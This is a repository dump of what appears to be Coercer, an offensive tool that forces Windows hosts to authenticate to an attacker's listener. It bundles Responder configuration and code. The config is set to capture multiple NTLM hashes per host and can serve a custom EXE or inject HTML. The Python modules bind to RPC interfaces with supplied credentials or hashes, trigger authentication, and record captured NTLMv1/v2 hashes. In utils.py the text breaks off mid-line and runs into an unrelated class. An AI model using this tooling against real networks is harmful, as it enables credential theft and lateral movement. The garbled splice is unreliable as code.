; Specific NBT-NS/LLMNR names to respond to (default = All) 44 | ; Example: RespondTo = WPAD, DEV, PROD, SQLINT 45 | ;RespondToName = WPAD, DEV, PROD, SQLINT 46 | RespondToName = 47 | 48 | ; Specific IP Addresses not to respond to (default = None) 49 | ; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10 50 | DontRespondTo = 51 | 52 | ; Specific NBT-NS/LLMNR names not to respond to (default = None) 53 | ; Example: DontRespondTo = NAC, IPS, IDS 54 | DontRespondToName = ISATAP 55 | 56 | ; If set to On, we will stop answering further requests from a host 57 | ; if a hash has been previously captured for this host. 58 | AutoIgnoreAfterSuccess = Off 59 | 60 | ; If set to On, we will send ACCOUNT_DISABLED when the client tries 61 | ; to authenticate for the first time to try to get different credentials. 62 | ; This may break file serving and is useful only for hash capture 63 | CaptureMultipleCredentials = On 64 | 65 | ; If set to On, we will write to file all hashes captured from the same host. 66 | ; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto, 67 | ; domain\popo, domain\zozo. Recommended value: On, capture everything. 68 | CaptureMultipleHashFromSameHost = On 69 | 70 | [HTTP Server] 71 | 72 | ; Set to On to always serve the custom EXE 73 | Serve-Always = Off 74 | 75 | ; Set to On to replace any requested .exe with the custom EXE 76 | Serve-Exe = Off 77 | 78 | ; Set to On to serve the custom HTML if the URL does not contain .exe 79 | ; Set to Off to inject the 'HTMLToInject' in web pages instead 80 | Serve-Html = Off 81 | 82 | ; Custom HTML to serve 83 | HtmlFilename = files/AccessDenied.html 84 | 85 | ; Custom EXE File to serve 86 | ExeFilename = ;files/filetoserve.exe 87 | 88 | ; Name of the downloaded .exe that the client will see 89 | ExeDownloadName = ProxyClient.exe 90 | 91 | ; Custom WPAD Script 92 | ; Only set one if you really know what you're doing. Responder is taking care of that and inject the right one, with your current IP address. 93 | WPADScript = 94 | 95 | ; HTML answer to inject in HTTP responses (before tag). 96 | ; leave empty if you want to use the default one (redirect to SMB on your IP address). 97 | HTMLToInject = 98 | 99 | [HTTPS Server] 100 | 101 | ; Configure SSL Certificates to use 102 | SSLCert = certs/responder.crt 103 | SSLKey = certs/responder.key 104 | -------------------------------------------------------------------------------- /coercer/ext/responder/Responder.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from socketserver import TCPServer, ThreadingMixIn 18 | from .utils import * 19 | 20 | 21 | class ThreadingTCPServer(ThreadingMixIn, TCPServer): 22 | def server_bind(self): 23 | self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) 24 | if OsInterfaceIsSupported(): 25 | try: 26 | if settings.Config.Bind_To_ALL: 27 | pass 28 | else: 29 | if sys.platform == "win32": 30 | self.socket.bind(settings.Config.OURIP) 31 | else: 32 | if (sys.version_info > (3, 0)): 33 | self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) 34 | else: 35 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') 36 | except: 37 | pass 38 | TCPServer.server_bind(self) 39 | 40 | ThreadingTCPServer.allow_reuse_address = 1 41 | ThreadingTCPServer.address_family = socket.AF_INET6 -------------------------------------------------------------------------------- /coercer/ext/responder/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/Coercer/e1a5d44c4f736a0a2cf7033e96a84529e90ece29/coercer/ext/responder/__init__.py -------------------------------------------------------------------------------- /coercer/ext/responder/utils.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import os 18 | import sys 19 | import re 20 | import logging 21 | import socket 22 | 23 | from coercer.structures import EscapeCodes 24 | from . import settings 25 | import datetime 26 | import codecs 27 | import struct 28 | 29 | from calendar import timegm 30 | 31 | import psutil 32 | from coercer.core.Reporter import reporter 33 | 34 | def RandomChallenge(): 35 | if settings.Config.PY2OR3 == "PY3": 36 | if settings.Config.NumChal == "random": 37 | from random import getrandbits 38 | NumChal = b'%016x' % getrandbits(16 * 4) 39 | Challenge = b'' 40 | for i in range(0, len(NumChal),2): 41 | Challenge += NumChal[i:i+2] 42 | return codecs.decode(Challenge, 'hex') 43 | else: 44 | return settings.Config.Challenge 45 | else: 46 | if settings.Config.NumChal == "random": 47 | from random import getrandbits 48 | NumChal = '%016x' % getrandbits(16 * 4) 49 | Challenge = '' 50 | for i in range(0, len(NumChal),2): 51 | Challenge += NumChal[i:i+2].decode("hex") 52 | return Challenge 53 | else: 54 | return settings.Config.Challenge 55 | 56 | def HTTPCurrentDate(): 57 | Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT') 58 | return Date 59 | 60 | def SMBTime(): 61 | dt = datetime.datetime.now() 62 | dt = dt.replace(tzinfo=None) 63 | if settings.Config.PY2OR3 == "PY3": 64 | return struct.pack(" %s" % str(e), prefix=" ", debug=True) 43 | return None 44 | else: 45 | reporter.print(("success", EscapeCodes.BOLD_BRIGHT_GREEN), debug=True) 46 | return self.session 47 | 48 | def connect_ncacn_np(self, target, pipe, targetIp=None): 49 | """ 50 | 51 | """ 52 | self.target = target 53 | ncan_target = r'ncacn_np:%s[%s]' % (target, pipe) 54 | self.__rpctransport = transport.DCERPCTransportFactory(ncan_target) 55 | 56 | debug = False 57 | 58 | if hasattr(self.__rpctransport, 'set_credentials'): 59 | self.__rpctransport.set_credentials( 60 | username=self.credentials.username, 61 | password=self.credentials.password, 62 | domain=self.credentials.domain, 63 | lmhash=self.credentials.lmhash, 64 | nthash=self.credentials.nthash 65 | ) 66 | 67 | if self.credentials.doKerberos == True: 68 | self.__rpctransport.set_kerberos(self.credentials.doKerberos, kdcHost=self.credentials.kdcHost) 69 | if targetIp is not None: 70 | self.__rpctransport.setRemoteHost(targetIp) 71 | 72 | self.session = self.__rpctransport.get_dce_rpc() 73 | self.session.set_auth_type(RPC_C_AUTHN_WINNT) 74 | self.session.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 75 | 76 | # Connecting to named pipe 77 | reporter.print_in_progress("Connecting to %s ... " % ncan_target, prefix=" ", end="", debug=True) 78 | try: 79 | self.session.connect() 80 | except Exception as e: 81 | reporter.print(("fail", EscapeCodes.BOLD_BRIGHT_RED), debug=True) 82 | reporter.print_error("Something went wrong, check error status => %s" % str(e), prefix=" ", debug=True) 83 | return None 84 | else: 85 | reporter.print(("success", EscapeCodes.BOLD_BRIGHT_GREEN), debug=True) 86 | return self.session 87 | 88 | def bind(self, interface_uuid, interface_version): 89 | """ 90 | 91 | """ 92 | # Binding to interface 93 | reporter.print_in_progress("Binding to interface ... " % (interface_uuid, interface_version), prefix=" ", end="", debug=True) 94 | try: 95 | self.session.bind(uuidtup_to_bin((interface_uuid, interface_version))) 96 | except Exception as e: 97 | reporter.print(("fail", EscapeCodes.BOLD_BRIGHT_RED), debug=True) 98 | reporter.print_error("Something went wrong, check error status => %s" % str(e), prefix=" ", debug=True) 99 | return False 100 | else: 101 | reporter.print(("success", EscapeCodes.BOLD_BRIGHT_GREEN), debug=True) 102 | return True 103 | 104 | def set_verbose(self, value): 105 | """ 106 | set_verbose(value) 107 | 108 | Sets the current verbosity level 109 | """ 110 | self.__verbose = value 111 | 112 | def get_verbose(self): 113 | """ 114 | get_verbose() 115 | 116 | Gets the current verbosity level 117 | """ 118 | return self.__verbose -------------------------------------------------------------------------------- /coercer/network/DCERPCSessionError.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : DCERPCSessionError.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 15 Sep 2022 6 | 7 | from impacket import system_errors 8 | from impacket.dcerpc.v5.rpcrt import DCERPCException 9 | 10 | 11 | class DCERPCSessionError(DCERPCException): 12 | """ 13 | 14 | """ 15 | 16 | def __init__(self, error_string=None, error_code=None, packet=None): 17 | DCERPCException.__init__(self, error_string, error_code, packet) 18 | 19 | def __str__(self): 20 | key = self.error_code 21 | if key in system_errors.ERROR_MESSAGES: 22 | error_msg_short = system_errors.ERROR_MESSAGES[key][0] 23 | error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] 24 | return 'SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) 25 | else: 26 | return 'SessionError: unknown error code: 0x%x' % self.error_code 27 | -------------------------------------------------------------------------------- /coercer/network/Listener.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : Listener.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 15 Sep 2022 6 | 7 | from collections import namedtuple 8 | import socket 9 | import time 10 | import threading 11 | from coercer.structures.TestResult import TestResult 12 | 13 | 14 | responder_options = dict( 15 | Domain='domain', 16 | Interface='ALL', 17 | ExternalIP=None, 18 | ExternalIP6=None, 19 | LM_On_Off=False, 20 | NOESS_On_Off=False, 21 | WPAD_On_Off=False, 22 | DHCP_On_Off=False, 23 | ProxyAuth_On_Off=False, 24 | DHCP_DNS=False, 25 | Basic=False, 26 | OURIP=None, 27 | Force_WPAD_Auth=False, 28 | Upstream_Proxy=None, 29 | Analyze=True, 30 | Verbose=False, 31 | ) 32 | 33 | ResponderOptions = namedtuple( 34 | 'ResponderOptions', 35 | responder_options.keys(), 36 | ) 37 | 38 | 39 | def create_smb_server(control_structure, listen_ip, listen_port, interface, lock, verbose=False): 40 | """Factory function for creating a SMBServer object""" 41 | 42 | def record_result(result): 43 | if control_structure["result"] in [ 44 | TestResult.SMB_AUTH_RECEIVED_NTLMv1, 45 | TestResult.SMB_AUTH_RECEIVED_NTLMv2, 46 | ]: 47 | # Already handled; do nothing 48 | return 49 | 50 | from coercer.core.Reporter import reporter 51 | reporter.print_ok("Authentication received: %s" % ("[%(module)s] %(type)s - %(user)s@%(client)s\n" % result)) 52 | 53 | if result['type'] in ['NTLMv1', 'NTLMv1-SSP']: 54 | control_structure["result"] = TestResult.SMB_AUTH_RECEIVED_NTLMv1 55 | elif result['type'] in ['NTLMv2', 'NTLMv2-SSP']: 56 | control_structure["result"] = TestResult.SMB_AUTH_RECEIVED_NTLMv2 57 | else: 58 | return 59 | 60 | lock.release() 61 | # This should cause the responder loop to break 62 | raise Exception 63 | 64 | # Load Responder code 65 | from coercer.ext.responder import utils 66 | utils.color == str 67 | # Set responder settings 68 | from coercer.ext.responder import settings 69 | settings.init() 70 | responder_options.update(dict(ExternalIP=listen_ip, OURIP=listen_ip)) 71 | responder_options.update(dict(Interface=interface)) 72 | responder_options.update(dict(Verbose=verbose)) 73 | options = ResponderOptions(*responder_options.values()) 74 | settings.Config.populate(options) 75 | from coercer.ext.responder import SMB 76 | from coercer.ext.responder import Responder 77 | # Monkeypatch SaveToDb 78 | # Note that this is an ugly hack equivalent to modifying a global variable. 79 | # This will prevent Coercer from parallelizing. 80 | SMB.SaveToDb = record_result 81 | 82 | class SMBServer(threading.Thread): 83 | def run(self_): 84 | # FIXME I wanted to bind to listen_ip, but that allows yields: 85 | # 'Address family for hostname not supported' 86 | 87 | self_.server = Responder.ThreadingTCPServer(('', listen_port), SMB.SMB1) 88 | self_.server.allow_reuse_address = True 89 | self_.server.serve_forever() 90 | 91 | def shutdown(self_): 92 | self_.server.shutdown() 93 | self_.server.server_close() 94 | 95 | lock.acquire() 96 | smb_server = SMBServer() 97 | return smb_server 98 | 99 | 100 | class Listener(object): 101 | """ 102 | class Listener 103 | """ 104 | 105 | def __init__(self, options, listen_ip=None, timeout=None): 106 | super(Listener, self).__init__() 107 | 108 | self.options = options 109 | self.smb_port = 4445 if options.redirecting_smb_packets else self.options.smb_port 110 | 111 | self.timeout = 1 112 | self.listen_ip = "0.0.0.0" 113 | 114 | if listen_ip is not None: 115 | self.listen_ip = listen_ip 116 | 117 | if timeout is not None: 118 | self.timeout = timeout 119 | 120 | def start_smb(self, control_structure): 121 | """ 122 | Function start_smb(self, control_structure) 123 | """ 124 | lock = threading.Lock() 125 | smb_server = create_smb_server(control_structure, self.listen_ip, self.smb_port, 126 | self.options.interface or 'ALL', lock, self.options.verbose) 127 | smb_server.start() 128 | lock.acquire(timeout=self.timeout) 129 | smb_server.shutdown() 130 | 131 | def start_http(self, control_structure, http_port=80): 132 | """ 133 | Function start_http(self, control_structure, http_port=80) 134 | """ 135 | start_time = int(time.time()) 136 | stop_time = start_time + self.timeout 137 | while (int(time.time()) < stop_time) and control_structure["result"] == TestResult.NO_AUTH_RECEIVED: 138 | try: 139 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 140 | s.settimeout(1) 141 | if self.options.mode in ["fuzz", "scan"]: 142 | s.bind((self.listen_ip, http_port)) 143 | elif self.options.mode in ["coerce"]: 144 | s.bind((self.listen_ip, self.options.http_port)) 145 | s.listen(5) 146 | conn, address = s.accept() 147 | data = conn.recv(2048) 148 | # print("\n",data,"\n") 149 | if b'HTTP' in data: 150 | control_structure["result"] = TestResult.HTTP_AUTH_RECEIVED 151 | except Exception as e: 152 | pass 153 | 154 | -------------------------------------------------------------------------------- /coercer/network/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : __init__.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 17 Jul 2022 6 | -------------------------------------------------------------------------------- /coercer/network/authentications.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : authentications.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 21 Sep 2022 6 | 7 | 8 | from coercer.structures.TestResult import TestResult 9 | from concurrent.futures import ThreadPoolExecutor 10 | from coercer.network.Listener import Listener 11 | import time 12 | 13 | from coercer.core.Reporter import reporter 14 | 15 | def trigger_and_catch_authentication(options, dcerpc_session, target, method_trigger_function, listenertype, listen_ip=None, http_port=80): 16 | """ 17 | 18 | """ 19 | listenertype = listenertype.lower() 20 | if listenertype not in ["smb", "http"]: 21 | reporter.print_error("Unknown listener type '%s'" % listenertype) 22 | return False 23 | else: 24 | control_structure = {"result": TestResult.NO_AUTH_RECEIVED} 25 | # Waits for all the threads to be completed 26 | 27 | with ThreadPoolExecutor(max_workers=3) as tp: 28 | listener_instance = Listener(options=options, listen_ip=listen_ip) 29 | 30 | if listenertype == "smb": 31 | reporter.print_info("Created smb listener", debug=True) 32 | tp.submit(listener_instance.start_smb, control_structure) 33 | 34 | elif listenertype == "http": 35 | reporter.print_info("Created http listener", debug=True) 36 | tp.submit(listener_instance.start_http, control_structure, http_port=http_port) 37 | 38 | time.sleep(0.25) 39 | result_trigger = tp.submit(method_trigger_function, dcerpc_session, target) 40 | 41 | if control_structure["result"] == TestResult.NO_AUTH_RECEIVED: 42 | try: 43 | control_structure["result"] = TestResult.from_string(str(result_trigger._result)) 44 | except: 45 | pass 46 | 47 | return control_structure["result"] 48 | 49 | 50 | def trigger_authentication(dcerpc_session, target, method_trigger_function): 51 | """ 52 | 53 | """ 54 | control_structure = {"result": TestResult.NO_AUTH_RECEIVED} 55 | 56 | result_trigger = method_trigger_function(dcerpc_session, target) 57 | 58 | if control_structure["result"] == TestResult.NO_AUTH_RECEIVED: 59 | try: 60 | control_structure["result"] = TestResult.from_string(str(result_trigger)) 61 | except: 62 | pass 63 | 64 | return control_structure["result"] 65 | -------------------------------------------------------------------------------- /coercer/network/rpc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : rpc.py 4 | # Author : soier (@s0i37) 5 | # Date created : 13 Jul 2023 6 | 7 | 8 | import sys 9 | import socket 10 | from impacket.dcerpc.v5 import transport, epm 11 | from impacket.uuid import uuidtup_to_bin 12 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY 13 | 14 | from coercer.core.Reporter import reporter 15 | from coercer.structures import EscapeCodes 16 | 17 | def portmap_discover(target, port=135): 18 | stringBinding = r'ncacn_ip_tcp:%s[%d]' % (target, port) 19 | rpctransport = transport.DCERPCTransportFactory(stringBinding) 20 | dce = rpctransport.get_dce_rpc() 21 | dce.connect() 22 | entries = epm.hept_lookup(None, dce=dce) 23 | endpoints = {} 24 | ports = set() 25 | for entry in entries: 26 | binding = epm.PrintStringBinding(entry['tower']['Floors']) 27 | uuid = str(entry['tower']['Floors'][0]) 28 | _transport,dst = binding.split(":", 1) 29 | try: endpoints[_transport] 30 | except: endpoints[_transport] = {} 31 | 32 | try: endpoints[_transport][uuid] 33 | except: endpoints[_transport][uuid] = set() 34 | if _transport == "ncacn_np": 35 | dst = dst.split("[")[1].split("]")[0] 36 | elif _transport == "ncacn_ip_tcp": 37 | dst = int(dst.split("[")[1].split("]")[0]) 38 | ports.add(dst) 39 | elif _transport == "ncalrpc": 40 | dst = dst[1:-1] 41 | endpoints[_transport][uuid].add(dst) 42 | reporter.print_info("DCERPC portmapper discovered ports: %s" % ",".join(list(map(str, ports)))) 43 | return endpoints 44 | 45 | 46 | def is_port_open(target, port): 47 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 48 | reporter.print_in_progress("Connecting to %s:%d ... " % (target, port), prefix=" ", end="", verbose=True) 49 | try: 50 | s.connect((socket.gethostbyname(target), int(port))) 51 | except Exception as e: 52 | reporter.print(("fail", EscapeCodes.BOLD_BRIGHT_RED), verbose=True) 53 | reporter.print_error("Something went wrong, check error status => %s" % str(e), prefix=" ", verbose=True) 54 | s.close() 55 | return None 56 | else: 57 | reporter.print(("success", EscapeCodes.BOLD_BRIGHT_GREEN), verbose=True) 58 | s.close() 59 | return True 60 | 61 | 62 | def can_bind_to_interface_on_port(target, port, credentials, uuid, version): 63 | ncacn_target = r'ncacn_ip_tcp:%s[%d]' % (target, port) 64 | rpctransport = transport.DCERPCTransportFactory(ncacn_target) 65 | dce = rpctransport.get_dce_rpc() 66 | dce.set_credentials(credentials.username, credentials.password, credentials.domain, credentials.lmhash, credentials.nthash, None) 67 | dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 68 | 69 | reporter.print_in_progress("Connecting to %s ... " % ncacn_target, prefix=" ", end="", verbose=True) 70 | try: 71 | dce.connect() 72 | except Exception as e: 73 | reporter.print(("fail", EscapeCodes.BOLD_BRIGHT_RED), verbose=True) 74 | reporter.print_error("Something went wrong, check error status => %s" % str(e), prefix=" ", verbose=True) 75 | return False 76 | 77 | reporter.print_in_progress("Binding to ... " % (uuid, version), prefix=" ", end="", verbose=True) 78 | try: 79 | dce.bind(uuidtup_to_bin((uuid, version))) 80 | except Exception as e: 81 | reporter.print(("fail", EscapeCodes.BOLD_BRIGHT_RED), verbose=True) 82 | reporter.print_error("Something went wrong, check error status => %s" % str(e), prefix=" ", verbose=True) 83 | if "STATUS_PIPE_DISCONNECTED" in str(e): 84 | # SMB SessionError: STATUS_PIPE_DISCONNECTED() 85 | return False 86 | elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): 87 | # SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.) 88 | return False 89 | elif "STATUS_ACCESS_DENIED" in str(e): 90 | # SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.) 91 | return False 92 | elif "abstract_syntax_not_supported" in str(e): 93 | # Bind context 1 rejected: provider_rejection; abstract_syntax_not_supported (this usually means the interface isn't listening on the given endpoint) 94 | return False 95 | elif "Unknown DCE RPC packet type received" in str(e): 96 | # Unknown DCE RPC packet type received: 11 97 | return False 98 | elif "Authentication type not recognized" in str(e): 99 | # DCERPC Runtime Error: code: 0x8 - Authentication type not recognized 100 | return False 101 | else: 102 | return True 103 | else: 104 | reporter.print(("success", EscapeCodes.BOLD_BRIGHT_GREEN), verbose=True) 105 | return True 106 | -------------------------------------------------------------------------------- /coercer/network/smb.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : smb.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 17 Sep 2022 6 | 7 | 8 | import sys 9 | from impacket.dcerpc.v5 import transport 10 | from impacket.uuid import uuidtup_to_bin 11 | from impacket.smbconnection import SMBConnection, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB_DIALECT, SessionError 12 | 13 | from coercer.core.Reporter import reporter 14 | from coercer.structures import EscapeCodes 15 | 16 | def init_smb_session(args, domain, username, password, address, lmhash, nthash): 17 | smbClient = SMBConnection(address, args.target_ip, sess_port=int(args.port)) 18 | dialect = smbClient.getDialect() 19 | 20 | dialect_string = "SMBv3.0" 21 | if dialect == SMB_DIALECT: 22 | dialect_string = "SMBv1" 23 | elif dialect == SMB2_DIALECT_002: 24 | dialect_string = "SMBv2.0" 25 | elif dialect == SMB2_DIALECT_21: 26 | dialect_string = "SMBv2.1" 27 | reporter.print_info("%s dialect used" % dialect_string, verbose=True) 28 | 29 | if args.k is True: 30 | smbClient.kerberosLogin(username, password, domain, lmhash, nthash, args.aesKey, args.dc_ip) 31 | else: 32 | smbClient.login(username, password, domain, lmhash, nthash) 33 | if smbClient.isGuestSession() > 0: 34 | reporter.print_info("GUEST Session Granted", verbose=True) 35 | else: 36 | reporter.print_info("USER Session Granted", verbose=True) 37 | return smbClient 38 | 39 | 40 | def try_login(credentials, target, port=445): 41 | """Documentation for try_login""" 42 | # Checking credentials if any 43 | if not credentials.is_anonymous(): 44 | try: 45 | smbClient = SMBConnection( 46 | remoteName=target, 47 | remoteHost=target, 48 | sess_port=int(port) 49 | ) 50 | smbClient.login( 51 | user=credentials.username, 52 | password=credentials.password, 53 | domain=credentials.domain, 54 | lmhash=credentials.lmhash, 55 | nthash=credentials.nthash 56 | ) 57 | except Exception as e: 58 | reporter.print_error("Could not login as '%s' with these credentials on '%s'." % (credentials.username, target)) 59 | reporter.print(" | Error: %s" % str(e)) 60 | return False 61 | else: 62 | return True 63 | else: 64 | return True 65 | 66 | 67 | def list_remote_pipes(target, credentials, share='IPC$', maxdepth=-1): 68 | """ 69 | Function list_remote_pipes(target, credentials, share='IPC$', maxdepth=-1) 70 | """ 71 | pipes = [] 72 | try: 73 | smbClient = SMBConnection(target, target, sess_port=int(445)) 74 | dialect = smbClient.getDialect() 75 | if credentials.doKerberos is True: 76 | smbClient.kerberosLogin(credentials.username, credentials.password, credentials.domain, credentials.lmhash, credentials.nthash, credentials.aesKey, credentials.dc_ip) 77 | else: 78 | smbClient.login(credentials.username, credentials.password, credentials.domain, credentials.lmhash, credentials.nthash) 79 | if smbClient.isGuestSession() > 0: 80 | reporter.print_info("GUEST Session Granted", debug=True) 81 | else: 82 | reporter.print_info("USER Session Granted", debug=True) 83 | except Exception as e: 84 | reporter.print_error(e, debug=True) 85 | return pipes 86 | 87 | # Breadth-first search algorithm to recursively find .extension files 88 | searchdirs = [""] 89 | depth = 0 90 | while len(searchdirs) != 0 and ((depth <= maxdepth) or (maxdepth == -1)): 91 | depth += 1 92 | next_dirs = [] 93 | for sdir in searchdirs: 94 | reporter.print_in_progress("Searching in %s " % sdir, debug=True) 95 | try: 96 | for sharedfile in smbClient.listPath(share, sdir + "*", password=None): 97 | if sharedfile.get_longname() not in [".", ".."]: 98 | if sharedfile.is_directory(): 99 | reporter.print_in_progress("Found directory %s/" % sharedfile.get_longname(), debug=True) 100 | next_dirs.append(sdir + sharedfile.get_longname() + "/") 101 | else: 102 | reporter.print_in_progress("Found file %s" % sharedfile.get_longname(), debug=True) 103 | full_path = sdir + sharedfile.get_longname() 104 | pipes.append(full_path) 105 | except SessionError as e: 106 | reporter.print_error(e, debug=True) 107 | searchdirs = next_dirs 108 | reporter.print_in_progress("Next iteration with %d folders." % len(next_dirs), debug=True) 109 | pipes = sorted(list(set(["\\PIPE\\" + f for f in pipes])), key=lambda x:x.lower()) 110 | return pipes 111 | 112 | 113 | 114 | def can_connect_to_pipe(target, pipe, credentials, targetIp=None): 115 | """ 116 | Function can_connect_to_pipe(target, pipe, credentials, targetIp=None) 117 | """ 118 | ncan_target = r'ncacn_np:%s[%s]' % (target, pipe) 119 | __rpctransport = transport.DCERPCTransportFactory(ncan_target) 120 | 121 | if hasattr(__rpctransport, 'set_credentials'): 122 | __rpctransport.set_credentials( 123 | username=credentials.username, 124 | password=credentials.password, 125 | domain=credentials.domain, 126 | lmhash=credentials.lmhash, 127 | nthash=credentials.nthash 128 | ) 129 | 130 | if credentials.doKerberos: 131 | __rpctransport.set_kerberos(credentials.doKerberos, kdcHost=credentials.kdcHost) 132 | if targetIp is not None: 133 | __rpctransport.setRemoteHost(targetIp) 134 | 135 | dce = __rpctransport.get_dce_rpc() 136 | # dce.set_auth_type(RPC_C_AUTHN_WINNT) 137 | # dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 138 | 139 | reporter.print_in_progress("Connecting to %s ... " % ncan_target, prefix=" ", end="", verbose=True) 140 | try: 141 | dce.connect() 142 | except Exception as e: 143 | reporter.print(("fail", EscapeCodes.BOLD_BRIGHT_RED), verbose=True) 144 | reporter.print_error("Something went wrong, check error status => %s" % str(e), prefix=" ", verbose=True) 145 | return None 146 | else: 147 | reporter.print(("success", EscapeCodes.BOLD_BRIGHT_GREEN), verbose=True) 148 | return dce 149 | 150 | 151 | def can_bind_to_interface(target, pipe, credentials, uuid, version, targetIp=None): 152 | """ 153 | Function can_bind_to_interface(target, pipe, credentials, uuid, version, targetIp=None) 154 | """ 155 | ncan_target = r'ncacn_np:%s[%s]' % (target, pipe) 156 | __rpctransport = transport.DCERPCTransportFactory(ncan_target) 157 | 158 | if hasattr(__rpctransport, 'set_credentials'): 159 | __rpctransport.set_credentials( 160 | username=credentials.username, 161 | password=credentials.password, 162 | domain=credentials.domain, 163 | lmhash=credentials.lmhash, 164 | nthash=credentials.nthash 165 | ) 166 | 167 | if credentials.doKerberos: 168 | __rpctransport.set_kerberos(credentials.doKerberos, kdcHost=credentials.kdcHost) 169 | if targetIp is not None: 170 | __rpctransport.setRemoteHost(targetIp) 171 | 172 | dce = __rpctransport.get_dce_rpc() 173 | # dce.set_auth_type(RPC_C_AUTHN_WINNT) 174 | # dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 175 | 176 | reporter.print_in_progress("Connecting to %s ... " % ncan_target, prefix=" ", end="", verbose=True) 177 | try: 178 | dce.connect() 179 | except Exception as e: 180 | reporter.print(("fail", EscapeCodes.BOLD_BRIGHT_RED), verbose=True) 181 | reporter.print_error("Something went wrong, check error status => %s" % str(e), prefix=" ", verbose=True) 182 | return False 183 | 184 | reporter.print_in_progress("Binding to ... " % (uuid, version), prefix=" ", end="", verbose=True) 185 | try: 186 | dce.bind(uuidtup_to_bin((uuid, version))) 187 | except Exception as e: 188 | reporter.print(("fail", EscapeCodes.BOLD_BRIGHT_RED), verbose=True) 189 | reporter.print_error("Something went wrong, check error status => %s" % str(e), prefix=" ", verbose=True) 190 | if "STATUS_PIPE_DISCONNECTED" in str(e): 191 | # SMB SessionError: STATUS_PIPE_DISCONNECTED() 192 | return False 193 | elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): 194 | # SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.) 195 | return False 196 | elif "STATUS_ACCESS_DENIED" in str(e): 197 | # SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.) 198 | return False 199 | elif "abstract_syntax_not_supported" in str(e): 200 | # Bind context 1 rejected: provider_rejection; abstract_syntax_not_supported (this usually means the interface isn't listening on the given endpoint) 201 | return False 202 | elif "Unknown DCE RPC packet type received" in str(e): 203 | # Unknown DCE RPC packet type received: 11 204 | return False 205 | elif "Authentication type not recognized" in str(e): 206 | # DCERPC Runtime Error: code: 0x8 - Authentication type not recognized 207 | return False 208 | else: 209 | return True 210 | else: 211 | reporter.print(("success", EscapeCodes.BOLD_BRIGHT_GREEN), verbose=True) 212 | return True 213 | -------------------------------------------------------------------------------- /coercer/network/utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : utils.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 17 Sep 2022 6 | 7 | import socket 8 | import sys 9 | import struct 10 | from platform import uname 11 | 12 | import psutil 13 | from coercer.core.Reporter import reporter 14 | 15 | def get_ip_address_of_interface(ifname): 16 | """ 17 | Function get_ip_address_of_interface(ifname) 18 | """ 19 | return next(iter([addr.address for addr in psutil.net_if_addrs().get(ifname, []) if addr.family == socket.AF_INET]), None) 20 | 21 | 22 